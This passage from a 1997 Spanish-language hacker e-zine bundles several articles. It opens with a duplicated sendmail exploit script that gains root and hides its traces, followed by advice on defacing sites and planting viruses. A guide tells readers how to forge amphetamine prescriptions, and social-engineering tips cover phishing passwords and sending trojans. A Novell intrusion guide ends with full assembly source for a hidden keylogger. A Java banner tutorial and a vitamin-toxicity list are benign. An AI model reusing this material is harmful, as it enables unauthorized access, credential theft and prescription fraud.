_EOF_
>
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
--------------------------------- CORTA AQUI
---------------------------------
Hay infinidad de exploits como este en la red si deseas links a paginas
que continen cientos revisa la seccion de links de la revista Raregazz.
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
Y RECUERDA ...
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
Bien ya tengo el root o una cuenta de algun administrador ahora que?, pues
ahora sigue la parte mas divertida.
Estando como root bajas todos los archivos de la pagina y despues los
editas cada archivo guardalo con el mismo nombre que tenia para ahorrarte
trabajo, luego editas la web-page.
Usa tu imaginzacion por ejemplo si hay archivos executables
remplazalos por virus cambia los links modifica las imagenes etc. ahora
reemplazas los antiguos archivos por los nuevos recuerda que el chiste es
hacer cambios que no llamen mucho la atencion para que los Admins no se den
cuenta y dure mas tiempo.
Y recuerda |-|4cK t|-|3 \/\/0r1d ....
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
ESTUDIAR O TRABAJAR Y PERMANECER DESPIERTO
******************************************
******************************************
AUTOR: Ergot
FECHA: Septiembre del 1997
PROCEDENCIA: Espa¤a
TEMA UNDERGROUND: Drogas
SITE: Underhack (http://underhack.islatortuga.com)
NOTAS: Underhack se lava las manos de cualquier da¤o que esta informacion
pueda causar, bla, bla, bla...., y da todos los derechos de este
articulo sola y unicamente a RareGazz con la condicion de no
modificar el contenido. El texto se comprende bien en la primera
parte, y despues a la gente le puede parecer pesado, pero hay que
ser buenos y conocer los efectos de estas sustancias :). Ahhh, se
me olvidaba, los precios estan en pesetas, asi que al final del doc
podeis poner la equivalencia en pesos :)
CENTRAMINA (ANFETAS)
--------------------
Que yo sepa solo se comercializa la centramina que en esencia es anfeta
y no se puede conseguir sin receta, creo, pero se usan para adelgazar; dos
opciones: di que quieres perder peso o cuentale la vida al medico.
Para la receta has de poner:
centramina 10 unidades 1 com cada 8 horas y firmita
centramina 20 unidades 1 com cada 8 horas y firmita
Centramina es la marca comercial, no hay de varios tipos asi que no has
de poner nada mas, si se deja sin poner la posologia cantara, y mejor pon
de 10 que tambien cantara menos (y cuidadin que esto es peligroso).
Deja espacios no todo seguido:
centramina
10 unidades
una cada 8 horas
Pon letra de medico ya sabes.. y no estes cerca de la zona de donde es
la receta, los farmaceuticos conocen la letra de los medicos.....
Precios: 10 - 113 ptas y 20 - 162 ptas
A continuacion se veran posibles sustitutos.
KATOVIT & FINEDAL
-----------------
Yo te aconsejaria que utilizases el katovit, no es ilegal y si es para
estudiar va muy bien..
Katovit (sin receta) + cafe o cocacola = 3 o 4 comprimidos.. pero no
pegaras ojo, es un complejo vitaminico que incluye la pseudo anfeta,
(mejor que empiezes con 2)
El finedal es algo parecido al katovit, pero mejor el katovit, en las
farmacias ya saben.
[ en Mexico el equivalente es "catovit" cuesta de 30 a 35 pesos con 20
pastillas y se vende libremente sin receta por ser unicamente vitamina B
y variantes. Por experiencia recomiendo de 4 a 5 y una cerveza fria. :-) ]
TERMALGIN CODEINA
-----------------
Otra posibilidad es el termalgin codeina + un cafe = te mantiene
despierto y funciona bastante bien, (al menos a mi) haz la prueba.
Receta: sin codeina si, la codeina es un morfico sintetico, pero te la
dan igual no te ponen problemas en las farmacias, es un farmaco muy comun.
La codeina se usa para potenciar el efecto analgesico del paracetamol.
Mas cosas...
La unica anfetamina que se comercializa en Espa¤a es la Centramina
(igual que el nombre comercial), y SOLO se vende con receta de
estupefacientes, cosa chunguiisima de conseguir.
Puedes encontrar sustitutos decentillos como el DYNAMIN, que tambien va
con receta pero no de estupefacientes y por lo tanto un farmaceutico
enrollado te lo puede vender. PRECIO: 500 ptas.
Otro producto es la CAFIASPIRINA, es lo mejor para examenes, es AAS con
cafeina (mas o menos lo que una taza cargadilla de cafe), te quita el dolor
de cabeza y te quita el sue¤o. Como problema, pues que no puedes
tomartela en ayunas porque hace da¤o al estomago.
El KATOVIT,FARMATRON COMPLEX... y similares, llevan algo de estimulante,
pero poco y no valen para fines educativos. :)
Por ultimo la mayoria de los estimulantes sinteticos de Bakalaeros
llevan anfetamina o similares, y pueden usarse para mantenerte despierto,
aunque son caros.....
IMPORTANTE: nunca tomes anfetaminas mas de tres dias seguidos porque
puedes acabar viendo "cosas raras".
Ah, algunos antiasmaticos que llevan TEOFILINA tambien producen
excitacion e insomnio como efectos secundarios, y el PROZAC tambien,
pero este ultimo va con receta.
A algunos seres pensantes, les gusta tomar cosas para estudiar, o estar
muchas horas delante del ordenata, o pa cualquier cosa. Muchos de los
farmacos elaborados con ese fin contienen vitaminas por un tubo, y no es de
extra¤ar que agarres una hipervitaminosis de caballo. Bueno!, pos hablemos
de hipervitaminosis.
[ En Mexico equivalentes de PROZAC son REYNOL -roche- y las pastillas
llamadas rigotril o mejor conocidas como `rebotes' ]
VITAMINAS LIPOSOLUBLES
-----------------------
Toxicidad vit A (retinol)
=========================
La administracion aguda de grandes dosis de vitamina A se asocia con la
aparicion de vomitos, cefaleas, convulsiones y otros signos de hipertension
intracraneal, como papiledema, que configuran un cuadro de seudotumor
cerebral. La toma cronica de dosis moderadas durante meses puede causar
perdida de cabello y aparicion de sequedad cutanea con prurito (picor).
El uso de vitamina A en dosis farmacologicas durante el embarazo se ha
asociado a mayor incidencia de malformaciones congenitas.
--- EN INGLES ---
Excess: Because vitamin A is fat soluble, it is stored in the body. As a
result, continued high doses (several times the U.S. RDA) have toxic effects.
Signs of toxicity include dry and itching skin, headaches, and nausea and
diarrhea. High vitamin A intake during pregnancy also may cause birth
defects, but it is not known at what level this can occur. Excessive amounts
of carotene are not known to be toxic, but will cause the skin to turn deep
yellow. The color disappears when the amount of carotene in the diet is
decreased.
--- EN INGLES ---
Vitamina D
==========
--- EN INGLES ---
Excess: High intakes may cause vomiting, diarrhea, and
weight loss and lead to calcium deposits in various organs.
Children are especially susceptible, but anyone can have
adverse effects from high daily doses.
--- EN INGLES ---
Toxicidad vit E (tocoferoles, D-a-tocoferol)
============================================
Aunque menos toxica que las otras vitaminas liposolubles, el aporte
de cantidades elevadas de vitamina E puede aumentar los requerimientos de
vitamina K y alargar el tiempo de protrombina. El aporte parenteral de
vitamina E puede asociarse a la aparicion de hepatosplenomegalia,
ictericia colestÿsica, ascitis y trombocitopenia en el ni¤o prematuro.
--- EN INGLES ---
Excess: Some evidence suggests that large intakes may
cause increased levels of blood cholesterol and lipids.
--- EN INGLES ---
Toxicidad Vit K (filoquinona)(menaquinona)
==========================================
Dosis altas de vitamina K por via parenteral pueden producir anemia
hemolitica en el recien nacido.
--- EN INGLES ---
Excess: Natural forms have no known toxic effects; large doses of the
synthetic version, menadione, and its derivatives cause anemia and
kernicterus, a condition characterized by jaundice, in infants.
--- EN INGLES ---
VITAMINAS HIDROSOLUBLES
-----------------------
Toxicidad vit C (acido ascorbico)
=================================
El uso prolongado de acido ascorbico en grandes dosis puede
interferir en la absorcion de la vitamina B 12 , aumentar las concentraciones
sanguineas de estrogenos en la mujer, causar uricosuria, facilitar la
formacion de calculos renales de oxalato y provocar la intoxicacion por
hierro en pacientes que requieren transfusiones cronicas de sangre.
--- EN INGLES ---
Excess: High intakes of 1 gram or more per day may
cause nausea, abdominal cramps, and diarrhea in some
people.
--- EN INGLES ---
Toxicidad vit tiamina B1
========================
Por via oral no se han descrito intoxicaciones. En el caso de
administracion intravenosa se ha observado la aparicion de hipertension,
taquicardia y edemas de causa desconocida. No se ha descrito en el ser
humano.
--- EN INGLES ---
Excess: High intakes appear nontoxic since excess
thiamin is easily excreted by the kidneys.
--- EN INGLES ---
Toxicidad vit Riboflavina B2
=============================
No se ha descrito en el ser humano.
--- EN INGLES ---
Excess: High doses appear nontoxic.
--- EN INGLES ---
Toxicidad vit Niacina
=====================
Dosis superiores a 3 g/dia de acido nicotinico producen dilatacion
vascular y sofocacion, disminucion de los lipidos sericos (util en el
tratamiento de ciertas hiperlipoproteine-mias) y reduccion de la utilizacion
de los acidos grasos del adipocito durante el ejercicio. En el caso de emplear
estas dosis, es necesario controlar si existe dolor abdominal, aumento de la
pigmentacion de la piel, hepatotoxicidad, hiperuricemia o hiperglucemia.
Raras veces provoca arritmias cardiacas y ulcera peptica.
--- EN INGLES ---
Excess: Large amounts of niacin, when taken in the nicotinic acid form of
the vitamin, act as a drug. Nicotinic acid is often prescribed as a
cholesterol-lowering drug, and should be taken only under the supervision of
a physician. Side effects include vascular dilation of the skin (flushing)
and gastrointestinal distress. Prolonged intake may cause liver damage.
--- EN INGLES ---
Toxicidad vit piridoxina (B 6) (importante en los pedos de alcohol)
===================================================================
Se han descrito neuropatias sensitivas tras la administracion de grandes
dosis de esta vitamina (superiores a 500 mg/dia). (Es cofactor de la alcohol
deshidrogenasa por lo que ayuda a metabolizar el alcohol; la tenemos de
forma directamente proporcional a nuestra resistencia al alcohol), se compra
sin receta - BENADON -, y es lo que inyectan a los "comas etilicos" (bueno
casi) y parece magico.)
--- EN INGLES ---
Excess: Long-term megadoses, such as may be taken by women to alleviate
premenstrual syndrome, may cause nerve damage and muscular incoordination in
the hands and feet.
--- EN INGLES ---
Toxicidad vitamina B 12
=======================
--- EN INGLES ---
Excess: No toxicity has been reported from high intakes, but no benefits
have been reported, either.
--- EN INGLES ---
Folatos, acido folico
=====================
--- EN INGLES ---
Excess: Very large doses may bring about convulsions in epileptics who
are taking the anticonvulsant drug phenytoin. Without evidence of benefit
from high doses and with some evidence of potential for toxicity, high
intakes of folate supplements are not recommended by the National Research
Council of the National Academy of Sciences.
U.S. Recommended Daily Allowances:
Infants Children Adults and Pregnant or
(0-12 mo.) (1-3 years) Children 4 Years+ Nursing Women
100 micrograms 200 mcg 400 mcg 800 mcg
--- EN INGLES ---
Biotina
=======
--- EN INGLES ---
U.S. Recommended Daily Allowances:
Infants Children Adults and Pregnant or
(0-12 mo.) (1-3 years) Children 4 Years + Nursing Women
50 micrograms 150 mcg 300 mcg 300 mcg
--- EN INGLES ---
Exceso: Ningun efecto ha sido reportado,
Acido Pantotenico
=================
Vitamina B-complex
Exceso: Ningun efecto ha sido reportado,
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
+ + + + + + + + + + + + + + + +
| Cracker Applets Jack |
| La guia para un web Cool |
+ + + + + + + + + + + + + + + +
de la serie `mejoremos el web' para RareGaZz
El espacio de internet se esta saturando de applets java. El dia de hoy
ha dejado de ser tipico aquel navegador con el lenguaje java desabilitado
debido a la implementacion de applets para busquedas en bases de datos y
para mandar correo electronico. Es por esto que si tienes una pagina en
internet necesitas implementar un poco de java para...como decirlo sin
mencionar a las chikas spice? oh diablos `spice up your web'.
Los Archivos.
~~~~~~~~~~~~~
El archivo class.zip incluido al final de la revista (seccion UUENCODE)
contiene los archivos BannersMsg.class y Banners.class a los que por medio
de parametros usaremos para crear portentosos banners para el web.
Los Parametros.
~~~~~~~~~~~~~~~
El codigo de los banners es inservible sin una combinacion adecuada de
parametros que nos permitiran definir el tama¤o, background, color y tipo
de letra que queramos utilizar.
Tan solo una combinacion de parametros correcta dentro de un archivo HTML
definidos dentro de las etiquetas <applet ?> y </applet> nos daran como
resultado un lujoso banner. En el siguiente ejemplo seran evaluados los
parametros individualmente; cabe hacer notar que los parametros siguientes
dentro de un archivo que pueda ser visualizado con el navegador dara como
resultado el banner de raregazz. Para que funcione correctamente los 2
archivos .class deberan estar en el directorio.
..............................................................................
<applet code="Banners.class" width="608" height="50" >
<param name="bgImage" value="fondo.jpg">
<param name="fps" value="40">
<param name="repeat" value="1">
<param name="borderWidth" value="1">
<param name="borderColor" value="red">
<param name="messages" value="Bienvenido a la |Página Oficial {textColor=Yellow} {exit=zoomIn} |de la revista {size=36} {align=Top} {enter=zoomOut} {exit=none} {cpf=4} {textColor=Red} {emboss=true} |Electronica {font=TimesRoman} {size=48} {enter=wipeUp} {exit=wipeDown} {textColor=Orange} {emboss=true} |para Hackers{enter=fade} {exit=fade} {pause=2} {cpf=4} {textColor=Red} |Editada por... {size=36} {enter=scrollLeft} {exit=scrollLeft} {pause=0} {cpf=4} {textColor=Green} |RareTrip -0- KillerBot -0- Mr. X -0- Le PompeItor {pause=4} {cpf=1} {emboss=true} {size=26} {effect=color} |ServerHacker -0- Groovy -0- GuyBrush {pause=4} {cpf=1} {emboss=true} {size=28} {effect=color} |Y colaboradores como tu! {pause=3} {size=36} {textColor=Green} |Espacio para este web proporcionado por{size=26} {align=Top} {enter=zoomOut} {exit=zoomIn} {cpf=4} {textColor=Red} |ISLATORTUGA.COM {enter=wipeUp} {exit=scrollRight} {pause=5} {cpf=4} {size=38} {effect=color} {emboss=true}">
<param name="font" value="Helvetica">
<param name="style" value="Bold">
<param name="size" value="54">
</applet>
..............................................................................
<applet code="Banners.class" width="608" height="50" >
La primera linea define el nombre del archivo class a utilizar y las medidas
deseadas del banner. `width' mientras la lengua inglesa no sea modificada
es el `largo' mientras que `height' la `altura'.
Hagamos un banner desde cero. empezamos con la medida. ¨que tal 500 de
largo y 50 de ancho? perfecto. Para ayudarte a calcular la medida puedes
usar un programa de edicion de graficos. Las unidades de medicion son Pels.
Hagamos el banner como habiamos dicho definiendo el parametro inicial asi:
<applet code="Banners.class" width="500" height="50" >
El siguiente parametro definido en el ejemplo es:
<param name="bgImage" value="fondo.jpg">
Este parametro puede o no estar presente. Lo que nos permite es usar una
imagen que debe ser jpg como fondo de nuestro banner. Durante la
ejecucion del banner podras modificar la imagen de fondo haciendolo mas
atractivo.
Para el banner que vamos a crear usaremos el mismo parametro y hay que
tener el archivo fondo.jpg y los otros que utilizemos en el mismo directorio
que tengamos nuestros htmls.
La velocidad se mide en `frames per second' o cuadros por segundo. Asi,
elegimos la velocidad con la que se mostrara el banner. Como estamos de
party eligamos una velocidad rapida...
<param name="fps" value="30">
La velocidad puede ser modificada usando un comando dentro del parametro
messages llamado "cpf".
Si deseamos que nuestro banner se repita lo indicamos en el siguiente
parametro de esta forma:
<param name="repeat" value="1">
Para evitar que el banner se repita infinitamente quitamos el parametro
de nuestro codigo html.
Un borde alrededor del banner puede ser una buena idea, para esto incluye
el parametro: <param name="borderWidth" value="0"> donde `value' debe ser
el ancho del borde. Para nuestro banner usaremos un borde de 2 pels. El
codigo quedara definido asi:
<param name="borderWidth" value="2">
Ahora que tenemos nuestro borde definiremos el color con este otro parametro:
<param name="borderColor" value="blue">
El valor puede ser uno de estos:
blue, red, cyan, magenta, yellow, orange, green, entre otros.
Asi como se define el color del borde tambien hay que escoger el tipo de
letra default que queramos usar para nuestro banner. Hay que tener en
cuenta que esta opcion puede ser modificada con otro parametro explicado
mas adelante.
Asi definimos nuestro font default en el banner:
<param name="font" value="Helvetica">
El tama¤o default tambien debe ser definido con este parametro:
<param name="size" value="54">
Para resaltar nuestro banner se sugiere incluir este parametro:
<param name="style" value="Bold">
El Banner.
~~~~~~~~~~
Dentro del parametro `messages' debe ir todo lo que querramos que nuestro
banner ponga en el visualizador. Lo diferente de este parametro es que
puede incluir otros parametros dentro del mismo para cambiar el color de
la letra, la velocidad del banner, el estilo y para incluir efectos.
Los subparametros dentro del parametro `messages' tienen a su vez valores
que definen su funcion en el texto del applet java.
Los subparametros aceptados son:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³{textColor=valor} ³ Permite cambiar el ³
³ ³ color del texto. ³
³{enter=valor} ³ Asi aparecera el texto ³
³ ³ en el banner. ³
³{exit=valor} ³ Define como saldra el ³
³ ³ texto del banner. ³
³ ³ color del texto. ³
³{size=valor} ³ Permite modificar el ³
³ ³ tama¤o del texto. ³
³{align=valor} ³ En que parte del banner³
³ ³ saldra el texto. ³
³{cpf=valor} ³ Velocidad. ³
³{emboss=valor} ³ Efecto emboss ON/OFF ³
³{font=valor} ³ El tipo de letra. ³
³{pause=valor} ³ Permite poner una pausa³
³ ³ en el applet. ³
³{effect=color} ³ Efecto de colores. ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Dentro del parametro `messages' el texto que aparecera en cada pantalla del
banner debe ir separado por el caracter ASCII numero 124 ( | ) pero antes de
separar las pantallas los subparametros deben ser definidos. Los
subparametros deben estar entre corchetes ( {..} ). Todo esto estara entre
comillas formando el valor del parametro `messages'.
SubParametros.
~~~~~~~~~~~~~~~
{textColor=valor}
^^^^^^^^^^^^^^^^^
Este subparametro se usa para definir el color del texto que aparecera en
el banner. Los valores que puede tener varian desde blue(azul), red(rojo),
cyan(azul claro), magenta(bueno hombre...), yellow(amarillo), orange(naranja)
green(verde), etc.
Un ejemplo podria ser:
<param name="messages" value="Este es un {textColor=red}| EJEMPLO {textColor=blue}">
mensaje del banner Ù Â
se muestra en la pantalla del
banner las palabras `Este es un'
de color rojo.
{exit=valor} y {enter=valor}
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Cuando el texto se muestra en la pantalla se pueden incluir efectos como
un desliz tipo scroll o una aparicion del tipo makearray o fade. Los
valores pueden ser: zoomIn (acercamiento hacia dentro), zoomOut
(acercamiento hacia fuera), wipeUp (borrado hacia arriba), wipeDown (borrado
hacia bajo), scrollLeft (desliz hacia la izquierda), scrollRight (desliz
hacia la derecha), y none (ninguno de los anteriores).
Para mostrar el mismo texto que el ejemplo de arriba pero entrando de
derecha a izquierda y saliendo borrado hacia arriba hariamos esto:
<param name="messages" value="Este es un {textColor=red} {enter=scrollRight} {exit=wipeUp}| EJEMPLO {textColor=blue} {enter=scrollRight} {exit=wipeUp}">
{size=valor}
^^^^^^^^^^^^
Para modificar el tama¤o del texto mostrado en pantalla usa este comando.
Los valores son todos los numeros positivos despues del cero.
{align=valor}
^^^^^^^^^^^^^
Con este comando podemos colocar texto en las distintas partes del applet.
Los valores que puede tener son: Top, Bottom, Right, Left.
{cpf=valor}
^^^^^^^^^^^
Gracias a este comando se nos hace posible cambiar la velocidad del texto
en las distintas partes del banner. El valor entre mayor sea mas lento se
hara el banner.
{emboss=valor}
^^^^^^^^^^^^^^
Este comando solo puede tener un valor: true
este parametro debe ser incluido unicamente cuando queramos que alguna
parte del texto de nuestro applet aparezca con ese efecto.
{font=valor}
^^^^^^^^^^^^
Util para modificar el Font usado en el texto en distintas partes del
banner. El valor puede ser: TimesRoman, etc.
{pause=valor}
^^^^^^^^^^^^^
Incluye una pausa en el banner. Los valores se miden en segundos.
{effect=color}
^^^^^^^^^^^^^^
Modifica el texto que aparece en la pantalla a¤adiendole un efecto
que hace cambiar el color de la letra.
Hasta La Vista :-)
~~~~~~~~~~~~~~~~~~
Hey este texto puede llegar a ser util para alguien...vamos! Q' lo unico
que queria era ayudar a hacer applets a cualquier persona. Espero haberlo
conseguido.... celula (ce lu lavan con jabon).
raretrip.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
____________________
/ \
| INGENIERIA SOCIAL |
\____________________/
Como la mayoria de vosotros sabreis, la ingenieria social trata de conseguir
accesos a ordenadores remotos, pero no mediante fallos en el sistema ni utili-
zando exploits. Es mucho mas simple; se trata de 'convencer' a alguien para
obtener accesos en un sistema.
Esto parece una tonteria pero os aseguro que es muy util. Con una sola cuenta
ya podemos acceder al sistema - indispensable para capturar los passwd o eje-
cutar exploits. Y conseguir el acceso, como todos sabreis es lo mas dificil.
Despues de esto, ya interviene la imaginacion de cada uno.
Bien, hay varias formas de utilizar la ingenieria social:
1- Convencer a alguien en el IRC para que te de sus contrase¤as (esto ya esta
muy visto y es muy dicifil que te de resultado, ademas de ser muy pesado).
Para ello debes usar tu imaginacion ... hacerte pasar por chica, entrar en
canales de novatos, ...
2- Conseguir datos de alguien y luego llamar a su proveedor diciendo que se te
ha perdido el passwd, ... o pidiendo informacion. No lo recomiendo.
O tam bien se puede llamar al
usuario diciendole que eres el proveedor y
que necesitas sus datos para algo ... deja correr tu imaginacion.
3- Realizar 'encuestas'. Este metodo me gusta mas. Se trata de conseguir los
mails de novatos en el IRC (mas facil que en el caso anterior, pues el mail
te lo da cualquiera, pero el login y el passwd no). Y despues enviarle un
mail diciendo que eres el administrador y que necesitar su passwd para algo
(para cambiarselo, porque se han perdido algun fichero de logs, ... deja co-
rrer tu imaginacion). Pero debes de tener cuidado con esto. Has de usar co-
rreo anonimo y sobre todo usar remailers; para que nadie pueda nunca loca-
lizarte en caso de que la victima te denuncie al administrador.
4- Enviar un programa a alguien y que cuando lo ejecute te envie por correo el
/etc/passwd (un caballo de troya). Ideal para universidades y demas.
Debes de seleccionar muy bien a las victimas. Que sean de proveedores con ac-
ceso al shell del sistema, paginas web para los usuarios, ... De nada te sirve
tener las contrase¤as de una cuenta de hotmail de alguien ... solo podras leer
su correo.
Ademas, algunas de estas cuentas tambien te serviran para conseguir acceso a
Internet *gratis* ... bueno, a costa del otro :)
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ HACKING NOVELL NETWARE ³
³ ~~~~~~~~~~~~~~~~~~~~~~ ³
³ .o killerbot o. ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
En muchas corporaciones o escuelas (aqui en mexico) se implementa la red
Novell como la mejor opcion para manejar una red local. Por esta razon
tratare de explicarte como lograr ser supervisor de esa red y accesar TODO!
Gracias a las puntas de tus dedos ;)
Las versiones superiores a las 4.x tienen como cuentas defaults SUPERVISOR,
GUEST, ADMIN, USER_TEMPLATE. Al momento de la instalacion de la red netware
se le asigna password a las cuentas SUPERVISOR y ADMIN.
Para propositos especificos se pueden instalar algunas otras cuentas. Estas
son algunas junto con sus funciones :
.-FUNCION-. .-Cuenta-.
puerto de impresion PRINT
puerto de impresion LASER
puerto de impresion HPLASER
puerto de impresion PRINTER
puerto de impresion LASERWRITER
puerto de impresion POST
puerto de impresion MAIL
a¤adir un gateway al sistema GATEWAY
a¤adir un gateway al sistema GATE
ruteador de correo al server ROUTER
unidad de fax/modem en la red FAX
unidad de fax/modem en la red FAXUSER
cuenta de prueba para uso temporal TEST
Esto debe darte una idea de las cuentas que debes intentar si quieres
ganar acceso a una red novell. Una manera de esconderte es darle password
a GUEST o USER_TEMPLATE.
Si ya eres supervisor de tu red local no olvides crear cuentas "backdoors"
que te permitan entrar en un futuro con nombres como Alt + 255
el siguiente texto sobre novell lo encontre en internet y puede darnos una
idea de como hackear novell de una forma sencilla:
Novell
Una manera facil de colarte en una red Novell
Bueno, si sois de esos cotillas que os gustaria colaros en la red de
vuestra empresa, escuela o lo que sea, para aumentaros la nomina, o las
notas, os esplico unos metodos muy sencillos y curiosos para
conseguirlo, con estos metodos podreis conseguir el password de
supervisor, y hacer maravillas con el.
La primera manera es poner como nombre de usuario guest, esta cuenta
tiene privilegios de supervisor, y generalmente al administrador de
sistema, por increible que parezca, no se acuerda de ella, y no la
protege con password.
Para la segunda manera necesitais lo que los americanos llaman un
keystroke, (yo uso el GETIT, es el mejor y ocupa menos de 1K) que
es algo asi como un doskey pero a lo bestia. Este programita es un
TSR que se carga antes de hacer el login y deja grabadas todas las
teclas pulsadas en un archivo (testing.tmp) en el directorio raiz.
De esta manera esperamos a que el supervisor o alguien con sus
privilegios use el ordenata donde este instalado meta su password
(en el fichero vemos primero el nombre del usuario y luego la
password metida) despues leemos tranquilamente el fichero, y ya esta,
nos metemos con la cuenta del supervisor y bien cotilleamos y lo
dejabamos todo como antes, o nos abrimos una cuenta con derechos de
supervisor, o ampliamos la nuestra, o ampliamos otra (por ejemplo la
cuenta guest, la damos privilegio de supervisor y la ponemos password,
el nombre del administrador del sistema pa mas mala leche).
Avisos:
A mi el programita en cuestion solo me funcionaba si lo cargaba
despues de IPX El fichero con las claves (el testing.tmp) se graba
con atributos de sistema y oculto.
Getit
------------------
cseg segment
assume cs:cseg,ds:cseg
org 100h
public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
public cntr,lits,begin
.RADIX 16
start:
push cs
push cs
push cs
pop ds
pop es
mov ax,0fffeh
CLI
pop ss
mov sp,ax
STI
jmp begin
oi21 dd ?
ac dw 0
ob dw 80h dup (?)
buff2 db 80h dup (?)
fn db 'c:\testing',0FF,'.tmp',0
search1 db 'LOGIN'
foundf db 0
fh dw 0
flag db 0
cntr dw 0
ni21:
assume cs:cseg,ds:nothing,es:nothing
cmp ax,4b00h
je exec
cmp foundf,0ffh
jne nc
cmp ah,8
je oc
cmp ah,7
je oc
nc:
push ax
mov al,cs:flag
not al
cmp al,0
jne jtov
mov ax,cntr
inc ax
mov cntr,ax
cmp ax,31h
jb jtov
xor ax,ax
mov cntr,ax
mov flag,al
pop ax
pushf
call dword ptr [oi21]
push ds
push cs
pop ds
push ax
push bx
push cx
push dx
jmp short wpwtf
jtov:
pop ax
jmp dword ptr cs:[oi21]
exec: call scanfor
jmp nc
oc:
pushf
call dword ptr cs:[oi21]
assume ds:cseg
push ds
push cs
pop ds
push ax
push bx
push cx
push dx
mov bx,ac
mov [bx],al
inc bx
mov [ac],bx
cmp al,0dh
jne lethro
mov byte ptr [bx],0ah
not cs:[flag]
lethro:
pop dx
pop cx
pop bx
pop ax
pop ds
iret
scanfor:
push ax
push di
push si
push es
push ds
push cs
push cs
pop es
mov si,dx
mov di,offset buff2
moveit:
lodsb
and al,0dfh
stosb
or al,al
jnz moveit
pop ds
mov di,offset buff2
look:
push di
mov si,offset search1
mov cx,5
repe cmpsb
pop di
or cx,cx
jz foundit
inc di
cmp byte ptr [di+5],0
je not_found
jmp look
not_found:
xor ax,ax
mov foundf,al
jmp short endofsearch
foundit:
mov ax,0ffh
mov foundf,al
endofsearch:
pop ds
pop es
pop si
pop di
pop ax
ret
wpwtf:
mov ax,3d02h
mov dx,offset fn
pushf
call dword ptr [oi21]
jnc exist
cmp al,2
je create
jmp lethro
create:
mov ah,3ch
mov dx,offset fn
mov cx,02h+04h
pushf
call dword ptr [oi21]
jnc exist
jmp lethro
exist:
mov fh,ax
mov bx,ax
mov ax,4202h
xor cx,cx
xor dx,dx
pushf
call dword ptr[oi21]
mov cx,[ac]
mov dx,offset ob
sub cx,dx
mov [ac],dx
inc cx
mov bx,fh
mov ah,40h
pushf
call dword ptr [oi21]
mov ah,3eh
mov bx,fh
pushf
call dword ptr [oi21]
jmp lethro
lits db 90h
begin:
mov ax,offset ob
mov [ac],ax
mov ax,3521h
int 21h
mov di,offset oi21
mov [di],bx
mov [di+2],es
mov dx,offset ni21
push cs
pop ds
mov ax,2521h
int 21h
mov dx,offset lits
int 27h
cseg ends
end start
